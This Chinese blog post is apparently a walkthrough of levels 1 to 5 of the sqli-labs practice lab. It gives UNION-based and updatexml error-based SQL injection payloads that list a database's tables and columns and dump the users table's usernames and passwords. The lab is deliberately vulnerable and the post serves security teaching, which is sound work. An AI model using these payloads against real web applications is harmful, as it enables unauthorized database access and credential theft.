当前位置: 首页 > news >正文

sqli-labs-master靶场通关

目录

一、sqli-labs第一关 

1.判断是否存在sql注入

(1)提示输入数字值的ID作为参数,输入?id=1

 (2)通过数字值不同返回的内容也不同,所以我们输入的内容是带入到数据库里面查询了

 (3)接下来我们判断sql语句是否是拼接,且是字符型还是数字型

2.联合注入

(1)首先知道表格有几列,如果报错就是超过列数,如果显示正常就是没有超出列数

(2)爆出显示位,就是看看表格里面那一列是在页面显示的。可以看到是第二列和第三列里面的数据是显示在页面的

(3)获取当前数据名和版本号,通过结果知道当前数据看是security,版本是8.0.12

(4)爆表

(5)爆字段名

(6)查询字段对应内容

二、sqli-labs第二关

三、sqli-labs第三关

四、sqli-labs第四关

五、sqli-labs第五关


一、sqli-labs第一关 

1.判断是否存在sql注入

(1)提示输入数字值的ID作为参数,输入?id=1

 (2)通过数字值不同返回的内容也不同,所以我们输入的内容是带入到数据库里面查询了

 (3)接下来我们判断sql语句是否是拼接,且是字符型还是数字型

 可以根据结果指定是字符型且存在sql注入漏洞。因为该页面存在回显,所以我们可以使用联合查询。联合查询原理简单说一下,联合查询就是两个sql语句一起查询,两张表具有相同的列数,且字段名是一样的

2.联合注入

(1)首先知道表格有几列,如果报错就是超过列数,如果显示正常就是没有超出列数

?id=1'order by 3 --+

?id=1'order by 4 --+

(2)爆出显示位,就是看看表格里面那一列是在页面显示的。可以看到是第二列和第三列里面的数据是显示在页面的

?id=-1'union select 1,2,3--+

(3)获取当前数据名和版本号,通过结果知道当前数据看是security,版本是8.0.12

(4)爆表

information_schema.tables表示该数据库下的tables表,点表示下一级,where后面是条件

SELECT table_name FROM information_schema.tables WHERE table_schema = 'security';

group_concat()是将查询到结果连接起来

SELECT group_concat(table_name) FROM information_schema.tables WHERE table_schema = 'security';
?id=-1'union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+

(5)爆字段名

通过sql语句查询知道当前数据库有四个表,根据表名知道可能用户的账户和密码是在users表中。接下来我们就是得到该表下的字段名以及内容

?id=-1'union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+

该语句的意思是查询information_schema数据库下的columns表里面且table_users字段内容是users的所有column_name的内,可以得到两个敏感字段就是usernamepassword

(6)查询字段对应内容

?id=-1' union select 1,2,group_concat(username ,id , password) from users--+

二、sqli-labs第二关

进入sqli-labs-master靶场第二关,加入参数?id=1

当输入单引号或者双引号可以看到报错,且报错信息看不到数字,所有我们可以猜测sql语句应该是数字型注入

使用order by 判断数据库有几列:3列回显正常,4列出现报错,说明只有3列

?id=1 order by 3

 使用联合查询union select判断回显位置

?id=-1 union select 1,2,3

发现2和3的回显,判断数据库名称

?id=-1 union select 1,database(),version()

查询到库名后查询库下所有表

?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'

判断users表中下的字段名称

?id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'

 查询字段中的数据

?id=-1 union select 1,2,group_concat(username ,id , password) from users

三、sqli-labs第三关

进入sqli-labs-master靶场第二关,加入参数?id=1

加单引号判断闭合, 通过报错信息可以发现是以单引号和括号进行闭合的

?id=2')--+

 使用order by判断数据库有几列:3列回显正常,4列出现报错,说明只有3列

?id=1') order by 3--+

使用联合查询union select判断回显位置

?id=-1') union select 1,2,3--+

发现2和3的回显,判断数据库名称

?id=-1') union select 1,database(),version()--+

查询到库名后查询库下所有表

?id=-1') union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+

判断users表中下的字段名称

?id=-1') union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+

查询字段中的数据

?id=-1') union select 1,2,group_concat(username ,id , password) from users--+

四、sqli-labs第四关

根据页面报错信息得知sql语句是双引号字符型且有括号,通过以下代码进行sql注入(与第三关步骤相同)

?id=1") order by 3--+
?id=-1") union select 1,2,3--+
?id=-1") union select 1,database(),version()--+
?id=-1") union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+
?id=-1") union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+
?id=-1") union select 1,2,group_concat(username ,id , password) from users--+

五、sqli-labs第五关

进入sqli-labs-master靶场第五关,加入参数?id=1

发现没有回显,判断闭合方式为单引号闭合

?id=1' and 1=1--+

?id=1' and 1=2--+

 爆库名

?id=1' and updatexml(1,concat(0x7e,(database()),0x7e),1) --+

爆表名

?id=1' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='security' limit 3,1),0x7e),1) --+

只有1列加入参数

?id=1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e),1) --+

 爆列名

?id=1' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'),0x7e),1) --+

 爆数据

?id=1' and updatexml(1,concat(0x7e,(select group_concat(username,password)from users),0x7e),1) --+

http://www.lryc.cn/news/424701.html

相关文章:

  • hive sql 处理多层 json 数组
  • Dom 元素转换 Image 图片 (截图)
  • 零售业务产品系统应用架构设计(二)
  • Linux速成入门教程——从零基础开始快速入门,一文了解Linux用户管理与权限
  • 网工内推 | 宁德时代IT运维,晋升空间大,带薪年假,包吃包住
  • Linux---系统安全
  • 手写数字识别实战
  • 二叉树遍历
  • uni app 调用前置摄像头
  • 哈工大李治军老师OS课程笔记(4)——内存管理
  • 代码随想录算法训练营第43天:动态规划part10:子序列问题
  • 传智教育引通义灵码进课堂,为技术人才教育学习提效
  • 企业信息化建设搞得好了叫系统工程,搞不好叫面子工程
  • 程序员如何平衡日常编码工作与提升式学习?
  • Linux---文件系统和日志分析
  • MySQL 体系架构
  • 跨站脚本攻击漏洞
  • RabbitMQ入门与进阶
  • Unity新输入系统 之 InputActions(输入配置文件)
  • Linux运维篇-误删/bin,/sbin目录怎么修复系统
  • 构建高效外贸电商系统的技术探索与源码开发
  • Java设计模式:中介者模式详解与最佳实践
  • Matlab绘制像素风字母颜色及透明度随机变化动画
  • C:每日一题:二分查找
  • python Django中使用ORM进行分组统计并降序排列
  • QT C++ 编写modbus 总结
  • 基于SpringBoot的网络海鲜市场系统的设计与实现
  • c#相关基础知识
  • 注意力机制 — 它是什么以及它是如何工作的
  • 学习嵌入式第二十六天